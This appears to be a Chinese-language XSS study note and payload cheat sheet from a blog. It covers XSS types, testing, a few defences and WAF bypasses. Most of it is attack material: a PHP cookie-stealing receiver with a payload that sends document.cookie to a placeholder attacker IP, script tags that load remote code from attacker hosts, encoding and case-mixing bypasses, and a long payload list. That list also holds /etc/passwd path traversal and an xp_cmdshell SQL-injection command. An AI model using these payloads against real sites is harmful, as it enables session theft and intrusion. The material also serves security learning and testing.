XSS总结
https://blog.csdn.net/weixin_50464560/article/details/120384706
测试工具:xsstrike
xss-libs靶场练习
xssdom型就是构造前端执行代码
反射型post可以构造请求链接
get可以在服务器构造表单请求头,让用户访问我的服务器
存储型可以长久控制,获取用户密码
a标签中的herf属性可以执行js代码
js方法中可以闭合构造新的js代码
XSS漏洞的原理:
跨站脚本攻击,xss的本质是JavaScript代码执行,原理是攻击者可以控制输入参数构造恶意代码
xss分类:
1、存储型 恶意JS代码直接存储在数据库中,每次调用数据都会执行
2、反射型 一次性JS代码,恶意链接–》服务器–》客户端浏览器
3、DOM型 前端页面构造恶意DOM代码,前端执行
dom文档,在浏览器窗口显示HTML源码的文档对象模型
如何验证xss是否存在?
1、寻找用户可控参数输入点(与服务器端有数据交互)
2、测试特殊符号,单引号、双引号、尖括号等书否被过滤或者处理
12<script>34/>5' " <>67('8')9;
3、绕过过滤,构造恶意代码
xss可以产生什么危害?
1、盗取用户COOKIE
2、修改DOM,构造恶意代码
3、恶意跳转黑页,跳转广告
4、配合漏洞xss蠕虫攻击
5、社工钓鱼
xss怎么防御?
1、对输入进行过滤,并且对所有的输出值进行HTML编码
2、白名单过滤,输入限制(手机号长度,字符类型)
3、黑名单过滤(特殊字符过滤)
4、设置Cookie的HttpOnly为TRUE,通过js脚本将无法读取到cookie信息
5、CSP策略(内容安全策略),网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的
与什么是需要被禁止的我们能够规定,我们的网站只接受我们指定的请求资源
6、对输入的代码进行实体转化
如何绕过WAF?
测试有哪些过滤?对过滤的信息编码
隐式数据转换?一种编码方式
如何配合其他漏洞
1 2 3 4 5 6
| <script type="text/javascript"> function jumurl(){ window.location.href = 'https://www.baidu.com'; } setTimeout(jumurl,3000); </script>
|
1 2 3 4 5 6
| <?php $cookie = $_GET['cookie']; file_put_contents("cookie.txt",$cookie); echo '已成功获取cookie信息';?>
payload:<script>document.location=" http://xxx.xxx.xxx.xx/cookie.php?cookie="+document.cookie;</script>
|
Script标签:
1 2 3 4 5 6
| <script>alert(/1/)</script> <script>prompt(1)</script> <script>confirm(1)</script> <script src="http://attacker.org/malicious.js"></script> <script src=data:text/javascript,alert(1)></script> <script>setTimeout(alert(1),0)</script>
|
Img标签:
1 2 3
| <img src=x onerror=alert(1)> <img src=x onerror=prompt(1);> <img src=javascript:alert('1')>
|
a标签:
1 2
| <a href=”javascript:alert(1)”>点击触发</a> <a href="http://www.hacker.com">点击触发</a>
|
Iframe标签:
1 2
| <iframe src="javascript:alert(1)"> <iframe onload=alert(1)>
|
其他标签:
1 2
| <video src=x onerror=prompt(1);> <audio src=x onerror=prompt(1);>
|
常用事件:
1 2 3 4 5 6
| onclick: 点击触发 (<img src=x onclick=alert(1)>) onerror: 当 src 加载不出来时触发 (<img src=x onerror=alert(1)>) onload: 当 src 加载完毕触发(<img src=x onload=alert(1)>) onmouseover:鼠标指针移动到图片后触发(<img src=x onmouseover=alert(1)>) onmousemove: 鼠标指针移到指定的元素后触发(<img src=x onmousemove=alert(1) >) onfocus: 当 input 输入框获取焦点时触发(<input onfocus=javascript:alert(1) autofocus>)
|
常用属性:
src
action
href
data
content
javascript弹窗函数:
alert()
confirm()
prompt()
常用绕过方法
1.大小写绕过(<SCRIPT>)
2.双写绕过(<SCr<scRiPT>ipt>)
3.关键字HTML编码绕过
4.任意位置插入null字符(<im[%00]g onerror=alert(xss) src=a>)
5.JavaScript转义(<script>eval(‘a\154ert(1)’)</script>)
xss payload大全
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| '><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert('Vulnerable');</script> <script>alert('Vulnerable')</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert('Vulnerable')</script> a/ a?<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= <IMG src="javascript:alert('XSS');"> <IMG src=javascript:alert('XSS')> <IMG src=JaVaScRiPt:alert('XSS')> <IMG src=JaVaScRiPt:alert("XSS")> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> "<IMG src=java\0script:alert(\"XSS\")>";' > out <IMG src=" javascript:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND src="javascript:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER src="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" href="javascript:alert('XSS');"> <IMG src='vbscript:msgbox("XSS")'> <IMG src="mocha:[code]"> <IMG src="livescript:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME src=javascript:alert('XSS')></IFRAME> <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE href="javascript:alert('XSS');//"> getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML src="javascript:alert('XSS');"> "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> <IMG src="javascript:alert('XSS')" <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
|